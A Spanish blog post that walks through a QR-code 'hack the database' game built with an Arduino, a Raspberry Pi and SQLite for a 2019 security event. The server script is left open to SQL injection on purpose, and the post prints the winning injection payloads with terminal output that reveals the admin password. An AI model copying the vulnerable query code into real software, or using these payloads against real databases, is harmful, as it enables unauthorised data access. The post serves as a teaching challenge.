QR-game: "hackea" una base de datos mediante códigos QR

Lo prometido es deuda, lo tenía pendiente publicar y aquí os traigo el detalle y código del juego de códigos QR que llevamos a Mundo Hacker Day 2019.

Como os dije en la crónica del congreso, la idea fue de un compi Amine Taouirsa al que le comenté que quería implementar una versión propia y llevarla también al evento. El juego se inicia generando un ticket en un impresora térmica con un código QR al registrar a un usuario en una base de datos SQLite. Luego, el usuario tiene que leerlo con su móvil y ser capaz de generar otros códigos que deben ser leídos por la cámara de una Raspberry Pi para conseguir primero acceso a la base de datos y segundo la contraseña del usuario 'admin'.


Los componentes que forman parte del "QR-Game" son:
- Arduino Uno: con un LCD 16x2, potenciómetro, switch, altavoz y resistencias.
- Raspberry Pi 3: con cámara JZK.
- Impresora térmica USB de 58mm
- Soportes y portátil.

Mi versión se basa en el proyecto "Crystal Ball' del libro de proyectos del Starter Kit de Arduino y su esquema mostrado abajo, añadiendo además un altavoz para reproducir un sonido o melodía al leer un código con la cámara, resetear o completar el juego.

Código Arduino:
#include <LiquidCrystal.h>
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);

const int switchPin = 6;
int switchState = 0;
int prevSwitchState = 0;

int pinaltavoz = 8;
int frecuencia=220;
int contador;
float m=1.059;

int melody[] = {
    262, 196, 196, 220, 196, 0, 247, 262};

int noteDurations[] = {
    4, 8, 8, 4, 4, 4, 4, 4};

void melodia()
{
   for (int thisNote = 0; thisNote < 8; thisNote++) {
        
          int noteDuration = 1000/noteDurations[thisNote];
          tone(8, melody[thisNote],noteDuration);
      
          int pauseBetweenNotes = noteDuration * 1.30;
          delay(pauseBetweenNotes);
          noTone(8);
   }
}
         
void sonido()
{
      for(contador=0,frecuencia=220;contador<12;contador++)
    {
        frecuencia=frecuencia*m; 
        tone(pinaltavoz,frecuencia);
        delay(100);
        noTone(pinaltavoz);
        delay(50);
    }
}

void setup() {
  lcd.begin(16, 2);
  Serial.begin(9600);
}

void loop() {
  switchState = digitalRead(switchPin);
  if (switchState != prevSwitchState){
      if(switchState == HIGH) {
        lcd.clear();
        lcd.display();
        lcd.print("READING QR CODE...");
        sonido();
        delay(5000);
        lcd.clear();
        //lcd.noDisplay();
      }
  }
  if (Serial.available()) {
    delay(100);
    lcd.clear();
    while (Serial.available() > 0) {     
      String x = Serial.readString();
      lcd.clear();
      lcd.print(x);
      if (x.equals("Congratz play3r!")) {
        melodia();
     } 
      tone(8,400);
      delay(10);            
      noTone(8);
      }
  }
}

El Arduino Uno se conecta también a una RPi3 y se comunica vía serie a través de un cable USB, que a su vez tiene también conecta a una impresora térmica para la creación de tickets.

La base de datos sqlite 'mundohacker3.db' es supersencilla, una tabla con 3 columnas:


El script para registrar/crear un usuario en la bbdd y generar el código QR es el siguiente:
import sys
import sqlite3
import binascii
from escpos.printer import Usb
import qrcode
from escpos.connections import getUSBPrinter
termica = Usb(0x0456,0x0808,0,0x81,0x03)
dbconnect = sqlite3.connect("mundohacker3.db");
cursor = dbconnect.cursor();

username = sys.argv[1];
access = "0";

print username;

cursor.execute("SELECT count(*) FROM users WHERE username = '%s'" % (username,))
existe=cursor.fetchone()[0]
if existe==0:
    cursor.execute("insert  into users values (?,?,?)", (username, access, "Get admin pw!    "));
    dbconnect.commit();

        une = username + '|' + access;
    data = binascii.hexlify(une)
        print data

    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=10,
        border=4,
    )
    qr.add_data(data)
    qr.make(fit=True)

    img = qr.make_image()
    img.save('1.png')

        termica.set(font='a', align='center')
        termica.text("Hackplayers - h-c0n\n")
    termica.text("Mundo Hacker 2019\n")
        termica.image('1.png')
        termica.text("Buena suerte " + username + "!\n")
        termica.cut()
else:
    print ("el usuario ya existe");

Al ejecutar este script pasándole como parámetro el nombre de usuario se generará un string del tipo:

<nombre de usuario en hexadecimal>|0
Por ejemplo: 766963656e7465|0

Y dicha string será transformada en un código QR e impreso en un ticket.

Mientras, en la raspberry estará corriendo el script de "servidor", también en Python:
from imutils.video import VideoStream
from pyzbar import pyzbar
import argparse
import logging 
import datetime
import imutils
import time
import cv2
import sqlite3
import sys
import serial
ser=serial.Serial('/dev/ttyACM0',9600)

def peinaytrozea(a):
        try:
                str = bytearray.fromhex(a).decode();
                print str;
        except ValueError:
        ser.write('ERROR!         ');
                str = "";
                time.sleep(2.0)
        if "|" in str: 
        username = str.split('|')[0];
        access = str.split('|')[1];
            print username;
            print access;
        else:
            username = str;
            access = str;

    dbconnect = sqlite3.connect("mundohacker3.db");
    dbconnect.row_factory = sqlite3.Row;
    cursor = dbconnect.cursor();

    #cursor.execute("SELECT count(*) FROM users WHERE username = ?", (username,))
    cursor.execute("SELECT count(*) FROM users WHERE username = '%s'" % (username,))
    
    existe=cursor.fetchone()[0]
    if existe==0:
            print('There is no user named %s. '%username );
            ser.write('USER NOT EXIST  ');
            #cursor.execute("insert into users values (?,?,?)", (username, access, 0));
            #uncomment if you want "autocreation" feature
            #cursor.executescript("insert into users(username, access, secret) values('{0}', '{1}', '{2}')".format(username, access, 'Changeme'));
            #dbconnect.commit();
    else:
            print('Username %s found in %s row(s)'%(username,existe))
            if access=='0':
                ser.write('NO ACCESS!      ');
            #cursor.execute("update users set access=? where username=?", (access, username));
            cursor.execute("update users set access='{0}' where username='{1}'".format(access, username));
            print('Access granted');
            #ser.write('ACCESS GRANTED  ');
            cursor.execute("SELECT * FROM users WHERE username = '%s'" % (username,))
            password=cursor.fetchone()[2];
            print('The password is %s'%(password));
            ser.write(password.encode());
                
ap = argparse.ArgumentParser()
ap.add_argument("-o", "--output", type=str, default="barcodes.csv",
    help="path to output CSV file containing barcodes")
args = vars(ap.parse_args())

print("[INFO] starting video stream...")
vs = VideoStream(usePiCamera=True).start()
time.sleep(2.0)
 
csv = open(args["output"], "w")
found = set()

while True:
    frame = vs.read()
    frame = imutils.resize(frame, width=400)
    barcodes = pyzbar.decode(frame)
    for barcode in barcodes:
        (x, y, w, h) = barcode.rect
        cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 255), 2)
        barcodeData = barcode.data.decode("utf-8")
        barcodeType = barcode.type
        text = "{} ({})".format(barcodeData, barcodeType)
        cv2.putText(frame, text, (x, y - 10),
            cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)
        peinaytrozea(barcodeData)
                time.sleep(2)
        if barcodeData not in found:
            csv.write("{},{}\n".format(datetime.datetime.now(),
                barcodeData))
            csv.flush()
            found.add(barcodeData)
    cv2.imshow("Barcode Scanner", frame)
    key = cv2.waitKey(1) & 0xFF
    if key == ord("q"):
        break
 
print("[INFO] cleaning up...")
csv.close()
cv2.destroyAllWindows()
vs.stop()

Este script encenderá la cámara para reconocer los códigos QR que se le pongan delante.
Es importante decir que la cámara de la Raspberry no tiene "autofocus", así que es necesario hacer previamente un ajuste manual para que el enfoque sea mucho más cercano. Tenéis algunos videotutoriales en Internet en los que se muestra cómo hacerlo fácilmente. Básicamente es quitar un poco el pegamento y ajustarlo girando el objetivo con unas pinzas de precisión.

Luego, si os fijáis un poco en el código del script veréis que, una vez capturado/procesado el código QR, lo que hace es convertir a ascii el hexadecimal, verificar si el usuario existe o no previamente en la base de datos y, en caso afirmativo, ver si tiene acceso comprobando si lo que detrás del separador "|" es un 1 o un 0.

El código inicial generado en el registro (766963656e7465|0) mostrará en la pantalla LCD 'NO ACCESS!'. Pero si cambiamos el "0" por "1" (766963656e7465|1) se mostrará en pantalla 'Get admin pw!'. Darse cuenta de eso sería la primera parte de este "mini-reto".

Y la segunda parte teniendo una base de datos delante es, efectivamente, realizar una inyección SQL. Leyendo el código es fácil darse cuenta que es vulnerable (tenéis comentado además la sentencia que no lo sería).  Y viendo además la imagen de arriba con lo datos de las columnas veis también que "Get admin pw!" es realmente la contraseña asignada por defecto a los usuarios, todas menos la del usuario 'admin' que es la que hay que obtener...

pi@raspberrypi:~/bbdd $ python test5.py
Username: 1' OR 1=1--
Access: 0
Username 1' OR 1=1-- found in 5 row(s)
pi@raspberrypi:~/bbdd $ python test5.py
Username: 1' OR username='admin'--
Access: 0
Username 1' OR username='admin'-- found in 1 row(s)
pi@raspberrypi:~/bbdd $ python test5.py
Username: 1' OR username='admin'--
Access: 1
Username 1' OR username='admin'-- found in 1 row(s)
Access granted
Your password is Well done dude!
Convirtiendo a nuestro formato ese payload (hay más posibles) se supera el reto.

Pensaréis que hacerlo "a ciegas" era realmente difícil pero ya os digo que no fue uno sino varios los que lo consiguieron... ¡sois unos máquinas! ;)

Comentarios